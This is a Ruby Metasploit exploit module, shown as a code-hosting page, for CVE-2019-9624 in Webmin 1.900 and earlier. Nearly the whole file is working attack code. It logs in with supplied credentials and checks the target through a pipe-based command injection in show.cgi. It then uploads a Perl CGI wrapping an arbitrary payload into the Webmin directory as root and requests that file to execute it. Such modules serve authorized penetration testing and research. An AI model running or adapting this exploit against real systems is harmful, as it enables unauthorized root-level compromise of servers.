214 lines
6.9 KiB
Ruby
214 lines
6.9 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::FileDropper
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Webmin Upload Authenticated RCE',
|
|
'Description' => %q(
|
|
This module exploits an arbitrary command execution vulnerability in Webmin
|
|
1.900 and lower versions. Any user authorized to the "Upload and Download"
|
|
module can execute arbitrary commands with root privileges.
|
|
|
|
In addition, if the 'Running Processes' (proc) privilege is set the user can
|
|
accurately determine which directory to upload to. Webmin application files
|
|
can be written/overwritten, which allows remote code execution. The module
|
|
has been tested successfully with Webmin 1.900 on Ubuntu v18.04.
|
|
|
|
Using GUESSUPLOAD attempts to use a default installation path in order to
|
|
trigger the exploit.
|
|
),
|
|
'Author' => [
|
|
'AkkuS <Özkan Mustafa Akkuş>', # Vulnerability Discovery, Initial PoC module
|
|
'Ziconius <Kris.Anderson[at]immersivelabs.com>' # Updated MSF module; removing 'proc' requirement.
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
['CVE', '2019-9624'],
|
|
['EDB', '46201'],
|
|
['URL', 'https://pentest.com.tr/exploits/Webmin-1900-Remote-Command-Execution.html']
|
|
],
|
|
'Privileged' => true,
|
|
'Payload' =>
|
|
{
|
|
'DisableNops' => true,
|
|
'Space' => 512,
|
|
'Compat' =>
|
|
{
|
|
'PayloadType' => 'cmd',
|
|
'RequiredCmd' => 'perl'
|
|
}
|
|
},
|
|
'DefaultOptions' =>
|
|
{
|
|
'RPORT' => 10000,
|
|
'SSL' => true
|
|
},
|
|
'Platform' => 'unix',
|
|
'Arch' => ARCH_CMD,
|
|
'Targets' => [['Webmin <= 1.900', {}]],
|
|
'DisclosureDate' => 'Jan 17 2019',
|
|
'DefaultTarget' => 0)
|
|
)
|
|
register_options [
|
|
OptBool.new('GUESSUPLOAD', [true, 'If no "proc" permissions exists use default path.', false]),
|
|
OptString.new('USERNAME', [true, 'Webmin Username']),
|
|
OptString.new('PASSWORD', [true, 'Webmin Password']),
|
|
OptString.new('FILENAME', [false, 'Filename used for the uploaded data']),
|
|
OptString.new('TARGETURI', [true, 'Base path for Webmin application', '/'])
|
|
]
|
|
end
|
|
|
|
def login
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri, 'session_login.cgi'),
|
|
'cookie' => 'testing=1',
|
|
'vars_post' => {
|
|
'page' => '',
|
|
'user' => datastore['USERNAME'],
|
|
'pass' => datastore['PASSWORD']
|
|
}
|
|
})
|
|
|
|
if res && res.code == 302 && res.get_cookies =~ /sid=(\w+)/
|
|
return $1
|
|
end
|
|
|
|
return nil unless res
|
|
''
|
|
end
|
|
|
|
##
|
|
# Target and input verification
|
|
##
|
|
def check
|
|
cookie = login
|
|
return CheckCode::Detected if cookie == ''
|
|
return CheckCode::Unknown if cookie.nil?
|
|
|
|
vprint_status('Attempting to execute...')
|
|
command = "echo #{rand_text_alphanumeric(0..9)}"
|
|
|
|
res = send_request_cgi({
|
|
'uri' => "#{target_uri}/file/show.cgi/bin/#{rand_text_alphanumeric(5)}|#{command}|",
|
|
'cookie' => "sid=#{cookie}"
|
|
})
|
|
|
|
if res && res.code == 200 && res.message =~ /Document follows/
|
|
return CheckCode::Vulnerable
|
|
end
|
|
|
|
CheckCode::Safe
|
|
end
|
|
|
|
##
|
|
# Exploiting phase
|
|
##
|
|
def exploit
|
|
cookie = login
|
|
if cookie == '' || cookie.nil?
|
|
fail_with(Failure::Unknown, 'Failed to retrieve session cookie')
|
|
end
|
|
print_good("Session cookie: #{cookie}")
|
|
|
|
##
|
|
# Directory and SSL verification for referer
|
|
##
|
|
phost = ssl ? 'https://' : 'http://'
|
|
phost << peer
|
|
print_status("Target URL => #{phost}")
|
|
|
|
res = send_request_raw(
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri, 'proc', 'index_tree.cgi'),
|
|
'headers' =>
|
|
{
|
|
'Referer' => "#{phost}/sysinfo.cgi?xnavigation=1"
|
|
},
|
|
'cookie' => "redirect=1; testing=1; sid=#{cookie}"
|
|
)
|
|
unless res && res.code == 200
|
|
fail_with(Failure::Unknown, 'Request failed')
|
|
end
|
|
|
|
print_status 'Searching for directory to upload...'
|
|
if res.body =~ /Running Processes/ && res.body =~ /[^ ] ([\/\w]+)miniserv\.pl/
|
|
directory = $1
|
|
elsif datastore['GUESSUPLOAD']
|
|
print_warning('Could not determine upload directory. Using /usr/share/webmin/')
|
|
directory = '/usr/share/webmin/'
|
|
else
|
|
print_error('Failed to determine webmin share directory')
|
|
print_error('Set GUESSUPLOAD to attempt upload to a default location')
|
|
return
|
|
end
|
|
directory << 'file'
|
|
filename = datastore['FILENAME'].present? ? datastore['FILENAME'] : "#{rand_text_alpha_lower(5..8)}.cgi"
|
|
filename << '.cgi' unless filename.end_with?('.cgi')
|
|
upload_attempt(phost, cookie, directory, filename)
|
|
|
|
##
|
|
# Loading phase of the vulnerable file
|
|
# Command execution and shell retrieval
|
|
##
|
|
print_status("Attempting to execute the payload...")
|
|
command = payload.encoded
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri, 'file', filename),
|
|
'cookie' => "sid=#{cookie}"
|
|
})
|
|
end
|
|
|
|
def upload_attempt(phost, cookie, dir, filename)
|
|
limit = rand_text_alpha_upper(5..10)
|
|
tmpvar = rand_text_alpha_upper(3..8)
|
|
code = <<~HERE
|
|
#!/usr/bin/perl
|
|
$#{tmpvar} = <<'#{limit}';
|
|
#{payload.encoded}
|
|
#{limit}
|
|
`$#{tmpvar}`;
|
|
HERE
|
|
|
|
message = Rex::MIME::Message.new
|
|
message.add_part(code, nil, nil, "form-data; name=\"upload0\"; filename=\"#{filename}\"")
|
|
message.add_part(dir, nil, nil, 'form-data; name="dir"')
|
|
message.add_part('root', nil, nil, 'form-data; name="user"')
|
|
message.add_part('1', nil, nil, 'form-data; name="group_def"')
|
|
message.add_part('', nil, nil, 'form-data; name="group"')
|
|
message.add_part('0', nil, nil, 'form-data; name="zip"')
|
|
message.add_part('1', nil, nil, 'form-data; name="email_def"')
|
|
message.add_part('Upload', nil, nil, 'form-data; name="ok"')
|
|
|
|
res2 = send_request_raw(
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri, 'updown', 'upload.cgi'),
|
|
'vars_get' => {'id' => "#{rand_text_numeric(8..12)}"},
|
|
'data' => message.to_s,
|
|
'ctype' => "multipart/form-data; boundary=#{message.bound}",
|
|
'headers' =>
|
|
{
|
|
'Referer' => "#{phost}/updown/?xnavigation=1"
|
|
},
|
|
'cookie' => "redirect=1; testing=1; sid=#{cookie}"
|
|
)
|
|
|
|
if res2 && res2.code == 200 && res2.body =~ /Saving file/
|
|
print_good "File #{filename} was successfully uploaded."
|
|
register_file_for_cleanup(filename)
|
|
else
|
|
print_error 'Upload failed.'
|
|
fail_with(Failure::UnexpectedReply, 'Failed to upload file')
|
|
end
|
|
end
|
|
end
|